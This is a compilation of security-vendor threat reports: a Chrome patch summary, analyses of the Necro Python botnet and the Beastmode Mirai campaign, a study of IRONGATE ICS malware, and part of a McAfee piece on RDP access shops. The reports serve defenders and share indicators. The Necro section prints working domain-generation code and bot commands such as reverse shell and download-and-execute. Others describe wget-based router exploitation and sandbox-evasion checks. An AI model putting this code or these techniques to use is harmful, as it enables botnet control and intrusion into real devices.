Another 28 new vulnerabilities Of the 28 vulnerabilities that the latest update addresses, most (20) were discovered by independent researchers, and the remaining eight by Google’s internal experts.
Of the nine vulnerabilities with a high severity level, four (CVE-2022-1125, CVE-2022-1127, CVE-2022-1131, CVE-2022-1133) belong to the use-after-free class; three more (CVE-2022-1128, CVE-2022-1129, CVE-2022-1132) are related to inappropriate implementations in various components, another one (CVE-2022-1130) has to do with an insufficient validation of untrusted input in WebOTP and the remaining one (CVE-2022-1134), like the aforementioned CVE-2022-1096, is a Type Confusion problem in V8 engine.
How to stay safe?
First, you need to update your browser to the latest version — at the time of this writing, it is 100.0.4896.60.
If your version of Chrome is older, that means your browser has not been updated automatically and we recommend updating it manually using our step-by-step instructions .
If you use Microsoft Edge, then don’t forget to update it too — this is done in the same way as with Google Chrome.
We also recommend that you to follow the news and timely update the most critical programs , including security solutions, browsers, office suites and the operating system itself.
In addition, we recommend using reliable security solutions that can automatically detect and prevent attempts to exploit vulnerabilities, so you can protect yourself from attacks even before official patches are released.
In the last week of September 2021, Juniper Threat Labs detected a new activity from Necro Python (a.k.a N3Cr0m0rPh , Freakout, Python.
IRCBot) that is actively exploiting some services, including a new exploit added to its arsenal.
This new exploit targets Visual Tools DVR VX16 4.2.28.0 from visual-tools.com (no CVE number is assigned to this vulnerability).
Successful exploitation will download the bot into the system and install a Monero miner.
Necro was first discovered in January .
The threat actor made a move in March and in May, adding new exploits to its arsenal.
Necro bot is an interesting python bot that has many functions which include the following: Network Sniffer Spreading by exploits Spreading by brute-force Using Domain Generation Algorithm Installing a Windows rootkit Receiving and executing bot commands Participating in DDoS attacks Infecting HTML, JS, PHP files Installing Monero Miner
The script can run in both Windows and Linux environments.
The script has its own polymorphic engine to morph itself every execution which can bypass signature-based defenses.
This works by reading every string in its code and encrypting it using a hardcoded key.
Necro Python’s polymorphism, before and after Domain Generation Algorithm Necro uses DGA for both its CnC and download server.
It selects from a list of dynamic DNS services as its domain, e.g., ddns.net and prefixes that with 10-19 random characters.
E.g., ‘ 3ood3dfcqchro.ddns.net’ The domains are pseudo-randomly generated using a hardcoded seed, 0xFAFFDED00001, and a counter is added until 0xFD (253 in decimal) before the counter is reset to 0.
The seed controls the domain to be generated.
In effect, it can generate up to 253 unique domains.
This seed is different from the previous campaigns.
For instance, the sample used in the March attack used a different seed, 0x7774DEAD.
From this list of generated domains, it connects to them one by one to see which one is online.
During our analysis, the following DGA domain was active: gtmpbeaxruxy[.
]myftp.org import random counter=0 while 1: if counter>=0xFD: counter=0 counter+=1 random.seed(a=0xFAFFDED00001 + counter) DGA_DOMAIN=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()+\".\"+random.choice(['ddns.net', 'ddnsking.com', '3utilities.com', 'bounceme.net', 'freedynamicdns.net', 'freedynamicdns.org', 'gotdns.ch', 'hopto.org', 'myddns.me', 'myftp.biz', 'myftp.org', 'myvnc.com', 'onthewifi.com', 'redirectme.net', 'servebeer.com', 'serveblog.net', 'servecounterstrike.com', 'serveftp.com', 'servegame.com', 'servehalflife.com', 'servehttp.com', 'serveirc.com', 'serveminecraft.net', 'servemp3.com', 'servepics.com', 'servequake.com', 'sytes.net', 'viewdns.net', 'webhop.me', 'zapto.org'])
Necro Python’s Domain Generation Algorithm Bot Commands Necro connects to the CnC server,  gtmpbeaxruxy.myftp.org, via IRC to receive commands which include the following: Command Function addport add port to the scanner delport remove port from scanner ports send to server the ports currently scanned injectcount send to server the number of files injected reinject launch function to inject to html, php, js, htm files scanner stop or launch scanner sniffer stop or launch sniffer scannetrange scan a range of IPs clearscan empty scanner DB revshell launch a reverse shell shell launch a process using subprocess.
Popen() killknight kill itself execute executes a file killbyname kill process by name killbypid kill process by pid disable disable exploitation module enable enable exploitation module getip get current IP ram get information about the memory update update this bot visit visit a URL dlexe download and execute a file info get system information repack morph this bot logout logout from the server reconnect reconnect to the server udpflood UDP flood synflood SYN flood tcpflood TCP flood slowloris slowloris DDoS attack httpflood launch httpflood torflood launch DDoS using TOR SOCKS proxies loadamp initialize amplification attack reflect launch DNS reflection attack We have noted a few changes on this bot from the previous version.
First, it removed the SMB scanner which was observed in the May 2021 attack.
Second, it changed the url that it injects to script files on the compromised system.
Previously, it used a hardcoded url, ‘ ublock-referer[.
]dev/campaign.js ’ and injects this on the scripts and now it uses the DGA for its url, i.e., ‘DGA_DOMAIN/campaign.js’ .
As noted in the previous reports, this bot will find HTML, PHP, JS and HTM files in the system and will inject a javascript code in every file.
This is an attempt for that attacker to not only compromise the server but also clients connecting to it.
Using a DGA domain to host the javascript makes it more resilient against defenses.
Necro injects javascript code to html, htm, php and .js files found on the compromised server.
It uses the DGA domain to host campaign.js Necro injects javascript code to html, htm, php and .js files found on the compromised server.
It uses the DGA domain to host campaign.js We also noted a change in its TOR Socks proxies.
When the bot receives the “ torflood ” command, it uses a set of TOR proxies for its DDOS attacks.
New Tor Proxies [‘107.150.8.170:9051’, ‘95.217.251.233:1080’, ‘5.130.184.36:9999’, ‘83.234.161.187:9999’, ‘185.186.240.37:9119’, ‘5.61.53.57:9500’, ‘23.237.60.122:9051’, ‘185.82.217.167:9051’, ‘78.153.5.183:666’, ‘51.210.202.187:8425’, ‘85.159.44.163:9050’, ‘217.12.221.85:9051’, ‘130.61.153.38:9050’, ‘142.93.143.155:9010’, ‘8.209.253.198:9000’, ‘127.0.0.1:9050’]
Visual Tools DVR Exploit As noted above, this bot added a new exploit to its arsenal.
The exploit targets Visual Tools DVR VX16 4.2.28.0.
A poc for this exploit was made available to the public in July, 2021.
HTTP request made to attack Visual Tools DVR Aside from the bot, the payload will install a XMRig Monero miner with the following wallet.
45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH
The scanner function of the bot scans for the following ports and if available, it launches its attack.
TARGET_PORTS
=
[22, 80, 443, 8081, 8081, 7001]
Juniper Threat Labs is still seeing this Necromorph exploiting the following vulnerabilities: CVE-2020-15568 – TerraMaster TOS before 4.1.29 CVE-2021-2900 – Genexis PLATINUM 4410 2.1 P4410-V2-1.28 CVE-2020-25494 – Xinuos (formerly SCO) Openserver v5 and v6 CVE-2020-28188 – TerraMaster TOS <=
4.2.06 CVE-2019-12725 – Zeroshell 3.9.0 Detection Exploits used in this attack are detected by Juniper’s NGFW SRX series.
HTTP:CGI:BASH-CODE-INJECTION HTTP:
CTS:TERRAMASTER-TOS-INJCTN HTTP:
CTS:SCO-OPNSRVR-OS-INJ HTTP:CTS:GENEXIS-PLAT-RCE HTTP:
CTS:ZEROSHELL-CGI-BIN-RCE Juniper Advanced Threat Prevention Cloud detects this bot as follows: Juniper Advanced Threat Prevention DNS Security also detects the DGA domain.
Indicators of Compromise Domains: gtmpbeaxruxy[.
]myftp.org URLs: http://gtmpbeaxruxy[.
]myftp.org/setup.py http://gtmpbeaxruxy[.
]myftp.org/setup http://gtmpbeaxruxy[.
]myftp.org/xmrig http://gtmpbeaxruxy[.
]myftp.org/xmrig1 Files: File Hash File Name Eb4a48a32af138e9444f87c4706e5c03d8dc313fabb7ea88c733ef1be9372899 setup E524bd7789b82df11891cc2c12af1ac0ea41dd0b946e1e04a4246cb36321f82f setup.py 0e537db39a7be5493750b7805e3a97da9e6dd78a0c7fca282a55a0241803d803 xmrig F72babf978d8b86a75e3b34f59d4fc6464dc988720d1574a781347896c2989c7 xmrig1 IP Addresses & ports: 107[.
]150.8.170:9051 130[.
]61.153.38:9050 142[.
]93.143.155:9010 185[.
]186.240.37:9119 185[.
]82.217.167:9051 217[.
]12.221.85:9051 23[.
]237.60.122:9051 5[.
]130.184.36:9999 5[.
]61.53.57:9500 51[.
]210.202.187:8425 78[.
]153.5.183:666 8[.
]209.253.198:9000 83[.
]234.161.187:9999 85[.
]159.44.163:9050 95[.
]217.251.233:1080
FortiGuard Labs Research Affected Platforms: Linux Impacted Users: Any organization Impact: Remote attackers gain control of the vulnerable systems Severity Level: Critical Between February and March 2022, our FortiGuard Labs team observed that the Beastmode (aka B3astmode) Mirai-based DDoS campaign has aggressively updated its arsenal of exploits.
Five new exploits were added within a month, with three targeting various models of TOTOLINK routers.
This inclusion of TOTOLINK exploits is especially noteworthy as they were added just a week after the exploit codes were published on GitHub.
We previously reported on the MANGA campaign , which similarly adopted exploit code within weeks of their release.
By rapidly adopting newly released exploit code, threat actors can potentially infect vulnerable devices and expand their botnets before patches are applied to fix these vulnerabilities.
TOTOLINK has already released updated firmware for affected models and users are strongly encouraged to update their devices.
This post details how this threat leverages these vulnerabilities to control affected devices, and ways to protect users from these attacks.
Exploiting New Vulnerabilities The Beastmode campaign derives its name from filenames and URLs used for its binary samples (Figure 1), as well as a unique HTTP User-Agent header \"b3astmode\" (Figure 2) within the exploit requests.
Binary samples are based on the publicly available source code of the Mirai botnet.
Like most DDOS botnets, aside from brute-forcing credentials, Beastmode employs a variety of exploits to infect more devices, as listed below.
CVE-2022-26210 targets TOTOLINK A800R, A810R, A830R, A950RG, A3000RU, and A3100R (Figure 2).
CVE-2022-26186 targets TOTOLINK N600R and A7100RU (Figure 3).
CVE-2022-25075 / 25076 / 25077 / 25078 / 25079 / 25080 / 25081 / 25082 / 25083 / 25084 are a family of similar vulnerabilities targeting TOTOLINK A810R, A830R, A860R, A950RG, A3100R, A3600R, T6, and T10 routers.
(Figure 4).
Interestingly, the samples caught on 20 Feb 2022 contained a typo in the URL, where “downloadFile.cgi” was used instead of “downloadFlile.cgi” used by the devices.
This had been fixed in samples captured three days later, suggesting active development and operation of this campaign.
Apart from TOTOLINK products, this campaign also targets discontinued D-Link products (DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L and DIR-836L) via CVE-2021-45382 (Figure 5).
Note that updated firmware is not available as these products have reached their end of life/support cycles.
It is interesting to note that this campaign also attempts to exploit CVE-2021-4045 (Figure 6), a vulnerability for the TP-Link Tapo C200 IP camera, which we have not observed in other Mirai-based campaigns.
While the current implementation of the exploit is incorrect, device owners should still update their camera firmware to fix this vulnerability.
A couple of older vulnerabilities were also found in the samples analyzed by FortiGuard Labs researchers, namely CVE-2017-17215 (Figure 7) targeting Huawei HG532 routers, and CVE-2016-5674 (Figure 8) targeting NUUO
NVRmini2, NVRsolo, Crystal Devices, and NETGEAR ReadyNAS Surveillance products.
While affecting a variety of products, these vulnerabilities are all similar in that they allow threat actors to inject commands to be executed after successful exploitation.
This usually involves using the wget command to download shell scripts to infect the device with Beastmode.
In addition, exploits lead to slightly different shell scripts.
Snippets of the scripts downloaded from the successful exploitation of CVE-2021-45382, CVE-2022-26186, and CVE-2022-25075, respectively are shown below (Figure 9).
As shown in the above figure, each script downloads the same file to different filenames but is executed with different parameters.
For instance, successful exploitation of CVE-2021-45382, a vulnerability involving a function named “DDNS” within D-Link router firmware, leads to the download and execution (Figure 5) of the shell script “ddns.sh”.
Then, as shown in Figure 9, the script then downloads the Beastmode binary, which is saved as “ddns” and executed with the “ddns.exploit” parameter.
The parameter (highlighted in blue) allows the infected device to register itself as part of the “ddns.exploit” sub-group within the botnet.
It could then be used by the botnet operators to assess the viability of specific exploits by measuring the number of bots or simply for ease of management.
Once devices are infected by Beastmode, the botnet can be used by its operators to perform a variety of DDoS attacks commonly found in other Mirai-based botnets, including: attack_app_http attack_tcp_ack attack_tcp_syn attack_udp_plain attack_udp_vse attack_udp_ovhhex attack_udp_stdhex attack_udp_CLAMP Conclusion Even though the original Mirai author was arrested in fall 2018, this article highlights how threat actors, such as those behind the Beastmode campaign, continue to rapidly incorporate newly published exploit code to infect unpatched devices using the Mirai malware.
By continuously monitoring the evolving threat landscape, FortiGuard Labs researchers identify new vulnerabilities exploited by Mirai variants and malware targeting IoT devices to bring greater awareness to such threats and better secure our customers’ networks.
Fortinet Protections Fortinet customers are protected by the following: The following generic FortiGuard IPS signatures detect exploitation attempts from Beastmode and other Mirai-based botnets: Mirai.
Botnet HTTP.Unix.
Shell.
IFS.Remote.
Code.
Execution FortiGuard Labs also provides IPS signatures against the following vulnerabilities.
CVE-2017-17215 - Huawei.HG532.Remote.
Code.
Execution CVE-2016-5674 - NUUO.Surveillance.
Application.
UNAUTH.Remote.
Code.
Execution The FortiGuard Web Filtering Service blocks downloaded URLs and identified C2s.
The FortiGuard AntiVirus service detects and blocks this threat as Linux/Mirai and ELF/Mirai FortiGuard IP Reputation & Anti-Botnet Security Service proactively blocks these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
IOCs Download URLs http://195.133.18[.
]119/beastmode/b3astmode.86_64 http://195.133.18[.
]119/beastmode/b3astmode.arm4 http://195.133.18[.
]119/beastmode/b3astmode.arm5 http://195.133.18[.
]119/beastmode/b3astmode.arm6 http://195.133.18[.
]119/beastmode/b3astmode.arm7 http://195.133.18[.
]119/beastmode/b3astmode.m68k http://195.133.18[.
]119/beastmode/b3astmode.mips http://195.133.18[.
]119/beastmode/
b3astmode.mpsl http://195.133.18[.
]119/beastmode/b3astmode.ppc http://195.133.18[.
]119/beastmode/b3astmode.sh4 http://195.133.18[.
]119/beastmode/b3astmode.x86 C2 IPs 195.133.18[.
]119 136.144.41[.
]69 Samples (SHA256) 04a50c409a30cdd53036c490534ee7859b828f2b9a9dd779c6b0112b88b74708 0ca74024f5b389fcfa5ee545c8a7842316c78fc53d4a9e94c34d556459a58877 0d442f4327ddd254dbb2a9a243d9317313e44d4f6a6078ea1139ddd945c3f272 14726d501dd489e8228af9580b4369819efb3101f6128df1a1ab0fcc8d96e797 18cefe4333f5f1165c1275c956c8ae717d53818b2c5b2372144fb87d6687f0d8 36a85f2704f77d7e11976541f3d77774109461e1baae984beb83064c2e34239a 3d0a119b68044b841128e451d80ee41d8be9cc61f9ff9a01c3db7d3271e15655 5adfd18422a37a40e6c7626b27d425a4c5a6ca45ecbc8becd690b8533d9d6c7c 635569c7612278d730cb87879843de03d1ea0df4e1c70262ab50659780eace3b 676b2aa6839606d49bbd2f29487e4c218e7d14dd1a9b870edcabdd11fcab9cf7 9c88fa218af7fb72188a0262b3a29008fedcf3d434b90e8fa578ac8f250f5025 a21aa45045c0d4b0d785891b8be57496d62bc2396d01c24a34b40f3e2227ef07 a5cbe89bf1f3121eb2012e3c5bb5c237c613b8b615384be0f1cc92817a2f1efe a6a7e46bd0e9ec67a1adec64af8fddee18ce019f731ee9cbf8341b35b2519dd9 b573f4d58b1fe6309b90611dd1d1030d7a3d1eb8ddb18de6dc58eefa876820fd be3248d97653e8f97cb8f69af260f03b19965489478211a5565b786e9f5d3c02 ca8980cb3bd286e41950d78555fd070eaf2d3bebf2751cb0d12a3eff0a41f829 cd48523a6dced4054cce051d4dd8c06268cee375e56afbf59d724faa91c3e766 d799ae8a017e76d22f1f35f271ebae9168b7712dce0ce86753edabd6e5f4f0d6 ded30dbc39e310ebbc17a9667a14e7f0f2e08999bfc5ebd4eae5c1840b82860a e7db388460d4e1f8d740018e6012af0ad785d3876a35c924db1f4982d7902db3 e85c3d3ed49d44b1ec3af89d730e129d68a32212e911e6431f405e201597f6ed Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
In the latter half of 2015, the FireEye Labs Advanced Reverse Engineering (FLARE) team identified several versions of an ICS-focused malware crafted to manipulate a specific industrial process running within a simulated Siemens control system environment.
We named this family of malware IRONGATE.
FLARE found the samples on VirusTotal while researching droppers compiled with PyInstaller — an approach used by numerous malicious actors.
The IRONGATE samples stood out based on their references to SCADA and associated functionality.
Two samples of the malware payload were uploaded by different sources in 2014, but none of the antivirus vendors featured on VirusTotal flagged them as malicious.
Siemens Product Computer Emergency Readiness Team (ProductCERT) confirmed that IRONGATE is not viable against operational Siemens control systems and determined that IRONGATE does not exploit any vulnerabilities in Siemens products.
We are unable to associate IRONGATE with any campaigns or threat actors.
We acknowledge that IRONGATE could be a test case, proof of concept, or research activity for ICS attack techniques.
Our analysis finds that IRONGATE invokes ICS attack concepts first seen in Stuxnet , but in a simulation environment.
Because the body of industrial control systems (ICS) and supervisory control and data acquisition (SCADA) malware is limited, we are sharing details with the broader community.
Malicious Concepts Deceptive Man-in-the-Middle IRONGATE's key feature is a man-in-the-middle (MitM) attack against process input-output (IO) and process operator software within industrial process simulation.
The malware replaces a Dynamic Link Library (DLL) with a malicious DLL, which then acts as a broker between a PLC and the legitimate monitoring software.
This malicious DLL records five seconds of 'normal' traffic from a PLC to the user interface and replays it, while sending different data back to the PLC.
This could allow an attacker to alter a controlled process unbeknownst to process operators.
Sandbox Evasion IRONGATE's second notable feature involves sandbox evasion.
Some droppers for the IRONGATE malware would not run if VMware or Cuckoo Sandbox environments were employed.
The malware uses these techniques to avoid detection and resist analysis, and developing these anti-sandbox techniques indicates that the author wanted the code to resist casual analysis attempts.
It also implies that IRONGATE’s purpose was malicious, as opposed to a tool written for other legitimate purposes.
Dropper Observables We first identified IRONGATE when investigating droppers compiled with PyInstaller — an approach used by numerous malicious actors.
In addition, strings found in the dropper include the word “payload”, which is commonly associated with malware.
Unique Features for ICS Malware While IRONGATE malware does not compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical implications, IRONGATE leverages some of the same features and techniques Stuxtnet used to attack centrifuge rotor speeds at the Natanz uranium enrichment facility; it also demonstrates new features for ICS malware.
Both pieces of malware look for a single, highly specific process.
Both replace DLLs to achieve process manipulation.
IRONGATE detects malware detonation/observation environments, whereas Stuxnet looked for the presence of antivirus software.
IRONGATE actively records and plays back process data to hide manipulations, whereas Stuxnet did not attempt to hide its process manipulation, but suspended normal operation of the S7-315 so even if rotor speed had been displayed on the HMI, the data would have been static .
A Proof of Concept IRONGATE’s characteristics lead us to conclude that it is a test, proof of concept, or research activity.
The code is specifically crafted to look for a user-created DLL communicating with the Siemens PLCSIM environment.
PLCSIM is used to test PLC program functionality prior to in-field deployment.
The DLLs that IRONGATE seeks and replaces are not part of the Siemens standard product set, but communicate with the S7ProSim COM object.
Malware authors test concepts using commercial simulation software.
Code in the malicious software closely matched usage on a control engineering blog dealing with PLCSIM (https://alexsentcha.wordpress.com/using-s7-prosim-with-siemens-s7-plcsim/ and https://pcplcdemos.googlecode.com/hg/S7PROSIM/BioGas/S7%20v5.5/).
While we have identified and analyzed several droppers for the IRONGATE malware, we have yet to identify the code’s infection vector.
In addition, our analysis did not identify what triggers the MitM payload to install; the scada.exe binary that deploys the IRONGATE DLL payload appears to require manual execution.
We have not identified any other instances of the ICS-specific IRONGATE components ( scada.exe and Step7ProSim.dll ), despite their having been compiled in September of 2014.
Siemens ProductCERT has confirmed that the code would not work against a standard Siemens control system environment.
Implications for ICS Asset Owners Even though process operators face no increased risk from the currently identified members of the IRONGATE malware family, IRONGATE provides valuable insight into adversary mindset.
Network security monitoring, indicator of compromise (IoC) matching, and good practice guidance from vendors and other stakeholders represent important defensive techniques for ICS networks.
To specifically counter IRONGATE’s process attack techniques, ICS asset owners may, over the longer term, implement solutions that: Require integrity checks and code signing for vendor and user generated code.
Lacking cryptographic verification facilitates file replacement and MitM attacks against controlled industrial processes.
Develop mechanisms for sanity checking IO data, such as independent sensing and backhaul, and comparison with expected process state information.
Ignorance of expected process state facilitates an attacker’s ability to achieve physical consequence without alarming operators.
Technical Malware Analysis IRONGATE Dropper Family FireEye has identified six IRONGATE droppers: bla.exe, update.exe 1 , update_no_pipe.exe 1, update_no_pipe.exe 2 , update_no_pipe.exe 2 , update.exe 3 .
All but one of these Python-based droppers first checks for execution in a VMware or Cuckoo Sandbox environment.
If found, the malware exits.
If not found, the IRONGATE dropper extracts a UPX-packed, publicly available utility ( NirSoft NetResView version 1.27 ) to audiodg.exe in the same directory as the dropper.
The dropper then executes the utility using the command audiodg.exe /scomma scxrt2.ini.
This command populates the file scxrt2.ini with a comma-separated list of network resources identified by the host system.
The dropper iterates through each entry in scxrt2.ini , looking for paths named move-to-operational or move-to-operational.lnk .
If a path is found, the dropper first extracts the Base64-encoded .NET executable scada.exe to the current directory and then moves the file to the path containing move-to-operational or move-to-operational.lnk.
The path move-to-operational is interesting as well, perhaps implying that IRONGATE was not seeking the actual running process, but rather a staging area for code promotion.
The dropper does not execute the scada.exe payload after moving it.
Anti-Analysis Techniques
Each IRONGATE dropper currently identified deploys the same .NET payload, scada.exe.
All but one of the droppers incorporated anti-detection/analysis techniques to identify execution in VMware or the Cuckoo Sandbox.
If such environments are detected, the dropper will not deploy the .NET executable ( scada.exe ) to the host.
Four of the droppers ( update.exe 1 , update_no_pipe.exe 1 , update_no_pipe.exe 2 , and update.exe 3 ) detect Cuckoo environments by scanning subdirectories of the %SystemDrive% .
Directories with names greater than five, but fewer than ten characters are inspected for the subdirectories drop, files, logs, memory, and shots.
If a matching directory is found, the dropper does not attempt to deploy the scada.exe payload.
The update.exe 1 and update.exe 3 droppers contain code for an additional Cuckoo check using the SysInternals pipelist program, install.exe , but the code is disabled in each.
The update.exe 2 dropper includes a check for VMware instead of Cuckoo.
The VMWare check looks for the registry key HKLM\\SOFTWARE\\VMware, Inc.\\VMware Tools and the files %WINDIR% \\system32\\drivers\\vmmouse.sys and %WINDIR% \\system32\\drivers\\vmhgfs.sys .
If any of these are found, the dropper does not attempt to deploy the scada.exe payload.
The dropper bla.exe does not include an environment check for either Cuckoo or VMware.
scada.exe
Payload We surmise that scada.exe is a user-created payload used for testing the malware.
First, our analysis did not indicate what triggers scada.exe to run.
Second, Siemens ProductCERT informed us that scada.exe is not a default file name associated with Siemens industrial control software.
When scada.exe executes, it scans drives attached to the system for filenames ending in Step7ProSim.dll .
According to the Siemens ProductCERT, Step7ProSim.dll is not part of the Siemens PLCSIM software.
We were unable to determine whether this DLL was created specifically by the malware author, or if it was from another source, such as example code or a particular custom ICS implementation.
We surmise this DLL simulates generation of IO values, which would normally be provided by an S7-based controller, since the functions it includes appear derived from the Siemens PLCSIM environment.
If scada.exe finds a matching DLL file name, it kills all running processes with the name biogas.exe .
The malware then moves Step7ProSim.dll to Step7ConMgr.dll and drops a malicious Step7ProSim.dll – the IRONGATE payload – to the same directory.
The malicious Step7ProSim.dll acts as an API proxy between the original user-created Step7ProSim.dll (now named Step7ConMgr.dll ) and the application biogas.exe that loads it.
Five seconds after loading, the malicious Step7ProSim.dll records five seconds of calls to ReadDataBlockValue .
All future calls to ReadDataBlockValue return the recorded data.
Simultaneously, the malicious DLL discards all calls to WriteDataBlockValue
and instead calls WriteInputPoint(0x110, 0, 0x7763) and WriteInputPoint(0x114, 0, 0x7763) every millisecond.
All of these functions are named similarly to Siemens S7ProSim v5.4 COM interface.
It appears that other calls to API functions are passed through the malicious DLL to the legitimate DLL with no other modification.
Biogas.exe As mentioned previously, IRONGATE seeks to manipulate code similar to that found on a blog dealing with simulating PLC communications using PLCSIM, including the use of an executable named biogas.exe .
Examination of the executable from that blog’s demo code shows that the WriteInputPoint function calls with byte indices 0x110 and 0x114 set pressure and temperature values, respectively: IRONGATE:
WriteInputPoint(0x110, 0, 0x7763) WriteInputPoint(0x114, 0, 0x7763)
Equivalent pseudo code from Biogas.exe: S7ProSim.
WriteInputPoint(0x110, 0, (short)this.
Pressure.
Value) S7ProSim.
WriteInputPoint(0x114, 0, (short)this.
Temperature.
Value)
We have been unable to determine the significance of the hardcoded value 0x7763 , which is passed in both instances of the write function.
Because of the noted indications that IRONGATE is a proof of concept, we cannot conclude IRONGATE’s author intends to manipulate specific temperature or pressure values associated with the specific biogas.exe process, but find the similarities to this example code striking.
Artifacts and Indicators PyInstaller Artifacts
The IRONGATE droppers are Python scripts converted to executables using PyInstaller.
The compiled droppers contain PyInstaller artifacts from the system the executables were created on.
These artifacts may link other samples compiled on the same system.
Five of the six file droppers ( bla.exe, update.exe 1 , update_no_pipe.exe 1 , update_no_pipe.exe 2 and update.exe 3 ) all share the same PyInstaller artifacts listed in Table 1.
Table 1:
Pyinstaller Artifacts The remaining dropper, update.exe 2 , contains the artifacts listed in Table 2.
Table 2:
Pyinstaller Artifacts for update.exe 2 Unique Strings Figure 1 and 2 list the unique strings discovered in the scada.exe and Step7ProSim.dll binaries.
Figure 1: Scada.exe Unique Strings Figure 2:
Step7ProSim.dll Unique Strings File Hashes Table 3 contains the MD5 hashes, file and architecture type, and compile times for the malware analyzed in this report.
Table 3:
File MD5 Hashes and Compile Times FireEye detects IRONGATE.
A list of indicators can be found here .
Special thanks to the Siemens ProductCERT for providing support and context to this investigation.
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By John Fokker on Jul 11, 2018 Thanks to my colleague Christiaan Beek for his advice and contributions.
While researching underground hacker marketplaces, the McAfee Advanced Threat Research team has discovered that access linked to security and building automation systems of a major international airport could be bought for only US$10.
The dark web contains RDP shops, online platforms selling remote desktop protocol (RDP) access to hacked machines, from which one can buy logins to computer systems to potentially cripple cities and bring down major companies.
RDP, a proprietary protocol developed by Microsoft that allows a user to access another computer through a graphical interface, is a powerful tool for systems administrators.
In the wrong hands, RDP can be used to devastating effect.
The recent SamSam ransomware attacks on several American institutions demonstrate how RDP access serves as an entry point.
Attacking a high-value network can be as easy and cheap as going underground and making a simple purchase.
Cybercriminals like the SamSam group only have to spend an initial $10 dollars to get access and are charging $40K ransom for decryption, not a bad return on investment.
A screenshot of Blackpass.bz, one of the most popular RDP-shops, largely due to the variety of services offered.
Shops explained Security maven Brian Krebs wrote the article “Really Dumb Passwords” in 2013.
That short phrase encapsulates the vulnerability of RDP systems.
Attackers simply scan the Internet for systems that accept RDP connections and launch a brute-force attack with popular tools such as, Hydra, NLBrute or RDP Forcer to gain access.
These tools combine password dictionaries with the vast number of credentials stolen in recent large data breaches.
Five years later, RDP shops are even larger and easier to access.
The McAfee Advanced Threat Research team looked at several RDP shops, ranging in size from 15 to more than 40,000 RDP connections for sale at Ultimate Anonymity Service (UAS), a Russian business and the largest active shop we researched.
We also looked at smaller shops found through forum searches and chats.
During the course of our research we noticed that the size of the bigger shops varies from day to day with about 10%.
The goal of our research was not to create a definitive list of RDP shops; rather, we sought a better understanding of the general modus operandi, products offered, and potential victims.
The number of compromised systems claimed to be available for sale by several RDP shops.
A single compromised system can appear on more than one shop’s list.
RDP access by cybercriminals How do cybercriminals (mis)use RDP access?
RDP was designed to be an efficient way to access a network.
By leveraging RDP, an attacker need not create a sophisticated phishing campaign, invest in malware obfuscation, use an exploit kit, or worry about antimalware defenses.
Once attackers gain access, they are in the system.
Scouring the criminal underground, we found the top uses of hacked RDP machines promoted by RDP shops.
False flags: Using RDP access to create misdirection is one of the most common applications.
While preserving anonymity, an attacker can make it appear as if his illegal activity originates from the victim’s machine, effectively planting a false flag for investigators and security researchers.
Attackers can plant this flag by compiling malicious code on the victim’s machine, purposely creating false debugging paths and changing compiler environment traces.
Spam: Just as spammers use giant botnets such as Necrus and Kelihos, RDP access is popular among a subset of spammers.
Some of the systems we found for sale are actively promoted for mass-mailing campaigns, and almost all the shops offer a free blacklist check, to see if the systems were flagged by SpamHaus and other antispam organizations.
Account abuse, credential harvesting, and extortion: By accessing a system via RDP, attackers can obtain almost all data stored on a system.
This information can be used for identity theft, account takeovers, credit card fraud, and extortion, etc.
Cryptomining: In the latest McAfee Labs Threats Report , we wrote about the increase in illegal cryptocurrency mining due to the rising market value of digital currencies.
We found several criminal forums actively advertising Monero mining as a use for compromised RDP machines.
Monero mining via RDP advertised on a cybercriminal forum.
Ransomware:
The large majority of ransomware is still spread by phishing emails and exploit kits.
However, specialized criminal groups such as SamSam are known to use RDP to easily enter their victims’ networks almost undetected.
RDP shop overview Systems for sale: The advertised systems ranged from Windows XP through Windows 10.
Windows 2008 and 2012 Server were the most abundant systems, with around 11,000 and 6,500, respectively, for sale.
Prices ranged from around US $3 for a simple configuration to $19 for a high-bandwidth system that offered access with administrator rights.
Third-party resellers: When comparing “stock” among several RDP shops, we found that the same RDP machines were sold at different shops, indicating that these shops act as resellers.
Windows Embedded Standard: Windows Embedded Standard, now called Windows IOT, is used in a wide variety of systems that require a small footprint.
These systems can range from thin clients to hotel kiosk systems, announcement boards, point-of-sale (POS) systems, and even parking meters among others.
Among the thousands of RDP-access systems offered, some configurations stood out.
We found hundreds of identically configured Windows Embedded Standard machines for sale at UAS Shop and BlackPass; all these machines were in the Netherlands.
This configuration was equipped with a 1-GHz VIA Eden processor.
An open-source search of this configuration revealed that it is most commonly used in thin clients and some POS systems.
The configurations are associated with several municipalities, housing associations, and health care institutions in the Netherlands.
Thin client and POS systems are often overlooked and not commonly updated, making them an ideal backdoor target for an attacker.
Although these systems have a small physical footprint, the business impact of having such a system compromised should not be underestimated.
As we’ve observed from previous breaching of retailers leveraging unpatched or vulnerable POS systems, the damage extends far beyond financial only, including customer perception and long-term brand reputation.
In regard to the current affected systems we discovered, McAfee has notified the identified victims and is working to learn further detail on why and how these identical Windows systems were compromised.
Government and health care institutions: We also came across multiple government systems being sold worldwide, including those linked to the United States, and dozens of connections linked to health care institutions, from hospitals and nursing homes to suppliers of medical equipment.
In a March blog post, the Advanced Threat Research team showed the possible consequences of ill-secured medical data and what can happen when an attacker gains access to medical systems.
It is very troublesome to see that RDP shops offer an easy way in.
Additional products for sale Services offered by our researched RDP shops.
In addition to selling RDP, some of these shops offer a lively trade in social security numbers, credit card data, and logins to online shops.
The second-largest RDP shop we researched, BlackPass, offered the widest variety of products.
The most prolific of these brokers provide one-stop access to all the tools used to commit fraud: RDP access into computers, social security numbers and other integral data to set up loans or open bank accounts.
For legal and ethical reasons, we did not purchase any of the products offered.
Therefore, we cannot determine the quality of the services.
RDP ransomware attack scenario Is it possible to find a high-value victim using an RDP shop?
The Advanced Threat Research team put this theory to the test.
